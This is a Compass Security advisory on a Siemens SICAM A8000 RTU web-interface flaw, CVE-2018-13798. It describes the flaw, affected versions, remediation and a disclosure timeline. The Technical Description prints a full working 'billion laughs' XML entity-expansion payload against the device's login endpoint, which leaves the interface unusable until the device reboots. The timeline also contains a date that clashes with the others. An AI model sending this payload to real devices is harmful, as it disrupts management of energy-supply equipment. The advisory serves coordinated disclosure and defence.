Siemens SICAM A8000 Series Denial Of Service

`#############################################################  
#  
# COMPASS SECURITY ADVISORY  
# https://www.compass-security.com/research/advisories/  
#  
#############################################################  
#  
# Product: SICAM A8000 Series  
# Vendor: Siemens  
# CSNC ID: CSNC-2019-002  
# CVE ID: CVE-2018-13798  
# Subject: SICAM Webinterface XXE DoS  
# Risk: Medium (CVSS 3.0 Base Score: 5.3)  
# CVSS 3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C  
# Effect: Unauthenticated remotely exploitable  
# Authors: Emanuel Duss <[email protected]>  
# Nicolas Heiniger <[email protected]>  
# Date: 2019-01-14  
#  
#############################################################  
  
Introduction  
------------  
  
The Siemens SICAM A8000 RTU (Remote Terminal Unit) series is a modular device  
range for telecontrol and automation applications in all areas of energy  
supply. This device offers a web management interface for performing simple  
management tasks.  
  
During a penetration test, Compass found a denial-of-service vulnerability in  
the Siemens SICAM web server. The web management interface is vulnerable  
against the XXE billion laughs attack [2] using XML entities. Successful  
exploitation can be performed unauthenticated over the network.  
  
Affected  
--------  
  
* SICAM A8000 CP-8000 < V14  
* SICAM A8000 CP-802X < V14  
* SICAM A8000 CP-8050 < V2.00  
  
Technical Description  
---------------------  
  
When a login on the web management interface is performed, the following  
request is sent to the server:  
  
POST /sicweb-ajax/auth HTTP/1.1  
Host: 10.5.23.42  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://10.5.23.42  
Content-Type: application/xml  
Content-Length: 118  
Connection: close  
  
<?xml version="1.0" encoding="UTF-8"?>  
<Cmd_LogOn><authentication user="admin" pwd="P@ssw0rd"/><language id="en"/></Cmd_LogOn>  
  
By modifying the XML message, it's possible to perform a billion laughs denial  
of service attack against the web management interface:  
  
POST /sicweb-ajax/auth HTTP/1.1  
Host: 10.5.23.42  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://10.5.23.42/  
Content-Type: application/xml  
Content-Length: 1679  
Connection: close  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE doc [  
<!ENTITY c01 "badger">  
<!ENTITY c02 "&c01; &c01; &c01; &c01; &c01; &c01; &c01; &c01; &c01; &c01;">  
<!ENTITY c03 "&c02; &c02; &c02; &c02; &c02; &c02; &c02; &c02; &c02; &c02;">  
<!ENTITY c04 "&c03; &c03; &c03; &c03; &c03; &c03; &c03; &c03; &c03; &c03;">  
<!ENTITY c05 "&c04; &c04; &c04; &c04; &c04; &c04; &c04; &c04; &c04; &c04;">  
<!ENTITY c06 "&c05; &c05; &c05; &c05; &c05; &c05; &c05; &c05; &c05; &c05;">  
<!ENTITY c07 "&c06; &c06; &c06; &c06; &c06; &c06; &c06; &c06; &c06; &c06;">  
<!ENTITY c08 "&c07; &c07; &c07; &c07; &c07; &c07; &c07; &c07; &c07; &c07;">  
<!ENTITY c09 "&c08; &c08; &c08; &c08; &c08; &c08; &c08; &c08; &c08; &c08;">  
<!ENTITY c10 "&c09; &c09; &c09; &c09; &c09; &c09; &c09; &c09; &c09; &c09;">  
<!ENTITY c11 "&c10; &c10; &c10; &c10; &c10; &c10; &c10; &c10; &c10; &c10;">  
<!ENTITY c12 "&c11; &c11; &c11; &c11; &c11; &c11; &c11; &c11; &c11; &c11;">  
<!ENTITY c13 "&c12; &c12; &c12; &c12; &c12; &c12; &c12; &c12; &c12; &c12;">  
<!ENTITY c14 "&c13; &c13; &c13; &c13; &c13; &c13; &c13; &c13; &c13; &c13;">  
<!ENTITY c15 "&c14; &c14; &c14; &c14; &c14; &c14; &c14; &c14; &c14; &c14;">  
<!ENTITY c16 "&c15; &c15; &c15; &c15; &c15; &c15; &c15; &c15; &c15; &c15;">  
<!ENTITY c17 "&c16; &c16; &c16; &c16; &c16; &c16; &c16; &c16; &c16; &c16;">  
<!ENTITY c18 "&c17; &c17; &c17; &c17; &c17; &c17; &c17; &c17; &c17; &c17;">  
<!ENTITY c19 "&c18; &c18; &c18; &c18; &c18; &c18; &c18; &c18; &c18; &c18;">  
<!ENTITY c20 "&c19; &c19; &c19; &c19; &c19; &c19; &c19; &c19; &c19; &c19;">  
]>  
<Cmd_LogOn><authentication user="admin" pwd="P@ssw0rd"/><language id="en"/>&c20;</Cmd_LogOn>  
  
  
The XML parser on the device tries to resolve the external entities. This will  
consume all available memory and the web management interface does not respond  
anymore.  
  
If the web management interface is refreshed in the browser, the following  
message appears:  
  
The device is currently unreachable. Retrying to connect.  
  
Other services on the device, like the one used by the ToolboxII for  
configuring the device or the IEC104 service, will still work properly and are  
not affected by this attack. Only the web management interface remains unusable  
until the device is rebooted.  
  
It's not possible to use XXE to read local or remote files using the SYSTEM  
directive.  
  
Vulnerability Classification  
----------------------------  
  
* CVSS v3.0 Base Score: 5.3  
* CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C  
  
Remediation  
-----------  
  
* SICAM A8000 CP-8000: Update to V14  
* SICAM A8000 CP-802X: Update to V14  
* SICAM A8000 CP-8050: Update to V2.00 or higher  
  
Please see the Siemens advisory [3] for the download links.  
  
As a workaround, it's also possible to restrict the access to the webserver on  
port 80/tcp and 443/tcp using a firewall.  
  
Acknowledgments  
---------------  
  
We thank Siemens for the coordinated disclosure.  
  
Timeline  
--------  
  
2018-05-28: Vulnerability discovered by Emanuel Duss and Nicolas Heiniger  
2018-05-28: Informed customer  
2018-06-06: Initial vendor notification  
2018-03-18: Vendor informed us that they will publish an advisory  
2019-01-08: Siemens published advisory [3]  
2019-01-11: Compass published advisory containing technical information  
  
References  
----------  
  
[1] https://w3.siemens.com/smartgrid/global/en/products-systems-solutions/substation-automation/substation-automation/pages/sicam-a8000.aspx  
[2] https://www.owasp.org/index.php/XML_Security_Cheat_Sheet#Billion_Laughs  
[3] https://cert-portal.siemens.com/productcert/txt/ssa-579309.txt  
  
`